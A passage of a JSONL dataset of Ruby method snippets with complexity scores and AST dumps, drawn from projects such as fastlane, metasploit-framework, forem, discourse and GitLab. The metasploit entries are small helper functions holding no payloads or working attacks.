end","complexity_score":38.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_two_step_for_device\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"put\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://idmsa.apple.com/appleauth/auth/verify/device/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device_id\"]}]},{\"type\":\"str\",\"children\":[\"/securitycode\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_request_headers\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"TunesClient\"]},\"new\"]},\"handle_itc_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Successfully requested notification\"]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[null,\"ask\",{\"type\":\"str\",\"children\":[\"Please enter the 4 digit code: \"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Requesting session...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"url\",{\"type\":\"str\",\"children\":[\"https://idmsa.apple.com/appleauth/auth/verify/phone/securitycode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"phoneNumber\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"device_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"securityCode\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"to_s\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"sms\"]}]}]},\"to_json\"]}]},{\"type\":\"send\",\"children\":[null,\"update_request_headers\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"TunesClient\"]},\"new\"]},\"handle_itc_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"body\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"verification code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Error: Incorrect verification code\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_two_step_for_device\",{\"type\":\"lvar\",\"children\":[\"device_id\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"store_session\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"b6f28b91-5ddf-4f02-9e42-6000c9e7ab5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/extensions/automotive/automotive.rb","start_line":79,"raw_source":"def array2hex(arr)\n    # We give the flexibility of sending Integers or string hexes in the array\n    arr.map { |b| \"%02x\" % (b.respond_to?(\"hex\") ? b.hex : b ) }\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"array2hex\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02x\"]},\"%\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"respond_to?\",{\"type\":\"str\",\"children\":[\"hex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"hex\"]},{\"type\":\"lvar\",\"children\":[\"b\"]}]}]}]}]}]}","id":"817f2746-df51-435d-a4b6-d897888f1dcd"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/moderator/unpublish_all_articles.rb","start_line":20,"raw_source":"def call\n      user = User.find_by(id: target_user_id)\n      return unless user\n\n      target_comments = user.comments.where(deleted: false)\n      target_articles = user.articles.published\n\n      # cache for logging\n      target_comments_ids = target_comments.ids\n      target_articles_ids = target_articles.ids\n\n      target_comments.update(deleted: true)\n\n      target_articles.find_each do |article|\n        if article.has_frontmatter?\n          article.body_markdown.sub!(/^published:\\s*true\\s*$/, \"published: false\")\n        end\n        article.published = false\n        article.save(validate: false)\n        clean_up_notifications(article)\n      end\n\n      payload = {\n        target_user_id: target_user_id,\n        target_article_ids: target_articles_ids,\n        target_comment_ids: target_comments_ids\n      }\n\n      audit_log(payload)\n    end","complexity_score":29.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"target_user_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"target_comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"comments\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_articles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"articles\"]},\"published\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_comments_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_comments\"]},\"ids\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_articles_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_articles\"]},\"ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_comments\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_articles\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"has_frontmatter?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"body_markdown\"]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^published:\\\\s*true\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"published: false\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"published=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"clean_up_notifications\",{\"type\":\"lvar\",\"children\":[\"article\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[null,\"target_user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_article_ids\"]},{\"type\":\"lvar\",\"children\":[\"target_articles_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_comment_ids\"]},{\"type\":\"lvar\",\"children\":[\"target_comments_ids\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"audit_log\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"f68999a9-5475-4a8a-8fc5-176a3b155737"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20180521191418_allow_null_ip_user_profile_view.rb","start_line":4,"raw_source":"def up\n    begin\n      Migration::SafeMigrate.disable!\n      change_column :user_profile_views, :ip_address, :inet, null: true\n    ensure\n      Migration::SafeMigrate.enable!\n    end\n\n    remove_index :user_profile_views,\n                 column: %i[viewed_at ip_address user_profile_id],\n                 name: :unique_profile_view_ip,\n                 unique: true\n    remove_index :user_profile_views,\n                 column: %i[viewed_at user_id user_profile_id],\n                 name: :unique_profile_view_user,\n                 unique: true\n    add_index :user_profile_views,\n              %i[viewed_at user_id ip_address user_profile_id],\n              name: :unique_profile_view_user_or_ip,\n              unique: true\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"disable!\"]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"user_profile_views\"]},{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"sym\",\"children\":[\"inet\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"SafeMigrate\"]},\"enable!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"user_profile_views\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"viewed_at\"]},{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"sym\",\"children\":[\"user_profile_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"unique_profile_view_ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"user_profile_views\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"viewed_at\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"user_profile_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"unique_profile_view_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"user_profile_views\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"viewed_at\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"sym\",\"children\":[\"user_profile_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"unique_profile_view_user_or_ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"00f64ec3-50ac-4644-a6b1-2d3bb4e53e5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/busybox/jailbreak.rb","start_line":40,"raw_source":"def run\n    res = false\n\n    METHODS.each do |m|\n      res = try_method(m)\n      break if res\n    end\n\n    print_error('Unable to jailbreak device shell') unless res\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"METHODS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"try_method\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to jailbreak device shell\"]}]}]}]}]}","id":"693e0945-7101-48f5-9191-d2769ef5ed8b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/laravel_crypto_killer.rb","start_line":122,"raw_source":"def parse_laravel_cipher(laravel_cipher)\n    laravel_cipher = CGI.unescape(laravel_cipher) # Decoding URL encoded string\n    begin\n      data = JSON.parse(Base64.strict_decode64(laravel_cipher))\n    rescue JSON::ParserError\n      vprint_error('The JSON inside your base64 is malformed')\n      return\n    rescue StandardError\n      vprint_error('Your base64 laravel_cipher value is malformed')\n      return\n    end\n\n    data['value'] = Base64.strict_decode64(data['value'])\n    data['iv'] = Base64.strict_decode64(data['iv'])\n    data\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_laravel_cipher\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"laravel_cipher\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"laravel_cipher\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescape\",{\"type\":\"lvar\",\"children\":[\"laravel_cipher\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_decode64\",{\"type\":\"lvar\",\"children\":[\"laravel_cipher\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"The JSON inside your base64 is malformed\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Your base64 laravel_cipher value is malformed\"]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_decode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"iv\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_decode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"iv\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"273a1e51-82ca-4012-bc24-426b4f3b9f4e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/wiki_helper.rb","start_line":62,"raw_source":"def wiki_module_breadcrumb(project, page)\n    {\n      href: url_for({ controller: \"/wiki\", action: \"index\", project_id: project.identifier, id: page }),\n      text: t(\"activerecord.models.wiki\")\n    }\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wiki_module_breadcrumb\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"activerecord.models.wiki\"]}]}]}]}]}","id":"34875a09-15b5-4196-81a2-c56056e99231"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/migration_helpers_spec.rb","start_line":3304,"raw_source":"def all_column_names\n      context.columns(table_name).map(&:name)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all_column_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"columns\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"2090806a-b50f-4f5d-978e-997bd94b1049"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/spec/test_command_generator_xcode_8_spec.rb","start_line":120,"raw_source":"def configure(options)\n        Snapshot.config = FastlaneCore::Configuration.create(Snapshot::Options.plain_options, options)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snapshot\"]},\"config=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Configuration\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snapshot\"]},\"Options\"]},\"plain_options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"de9d7b5d-e938-4757-81ba-2194a475a00b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/oauth/authorizations_controller.rb","start_line":44,"raw_source":"def audit_oauth_authorization\n    return unless performed? && (response.successful? || response.redirect?) && pre_auth&.client\n\n    application = pre_auth.client.application\n\n    Gitlab::Audit::Auditor.audit(\n      name: 'user_authorized_oauth_application',\n      author: current_user,\n      scope: current_user,\n      target: application,\n      message: 'User authorized an OAuth application.',\n      additional_details: {\n        application_name: application.name,\n        application_id: application.id,\n        scopes: application.scopes.to_a\n      },\n      ip_address: request.remote_ip\n    )\n  end","complexity_score":29.3,"ast_json":"{\"type\":\"def\",\"children\":[\"audit_oauth_authorization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"performed?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"successful?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"redirect?\"]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"client\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"application\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"client\"]},\"application\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Audit\"]},\"Auditor\"]},\"audit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"user_authorized_oauth_application\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"application\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"User authorized an OAuth application.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional_details\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"scopes\"]},\"to_a\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"remote_ip\"]}]}]}]}]}]}","id":"9b1c90ff-a3f2-41ac-8eb9-4e32b38c9e94"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/admin_fonts_form.rb","start_line":34,"raw_source":"def has_form_field?(field)\n        page.has_css?(\"#control-#{field}\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_form_field?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#control-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}]}","id":"b688d7d7-444c-4a3d-a2b8-7fe23dadf854"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/protected_branches_controller_spec.rb","start_line":151,"raw_source":"def disallow(ability, protected_branch)\n    allow(Ability).to receive(:allowed?).and_call_original\n    allow(Ability).to receive(:allowed?).with(user, ability, protected_branch).and_return(false)\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"disallow\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ability\"]},{\"type\":\"arg\",\"children\":[\"protected_branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"Ability\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"allowed?\"]}]},\"and_call_original\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"Ability\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"allowed?\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"lvar\",\"children\":[\"ability\"]},{\"type\":\"lvar\",\"children\":[\"protected_branch\"]}]},\"and_return\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"92101061-7d12-4fad-aeb4-2cfed4bef675"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/observability/access_request_service.rb","start_line":14,"raw_source":"def execute\n      return error(s_('Observability|Group is required'), :bad_request) unless @group\n      return error(s_('Observability|User is required'), :bad_request) unless @current_user\n\n      unless authorized?\n        return error(s_('Observability|You are not authorized to request observability access'),\n          :forbidden)\n      end\n\n      project = project_for_observability_access_requests\n      return error(s_('Observability|Project not found'), :not_found) unless project\n\n      existing_issue = existing_issue?(project)\n      return success(issue: existing_issue) if existing_issue\n\n      issue_params = build_issue_params\n\n      result = Issues::CreateService.new(\n        container: project,\n        current_user: Users::Internal.admin_bot,\n        params: issue_params\n      ).execute\n\n      if result.success?\n        Observability::CreateGroupO11ySettingWorker.perform_async(current_user.id, group.id)\n        success(issue: result[:issue])\n      else\n        error_message = result.errors.is_a?(Array) ? result.errors.join(', ') : result.errors.to_s\n        error(error_message, :unprocessable_entity)\n      end\n    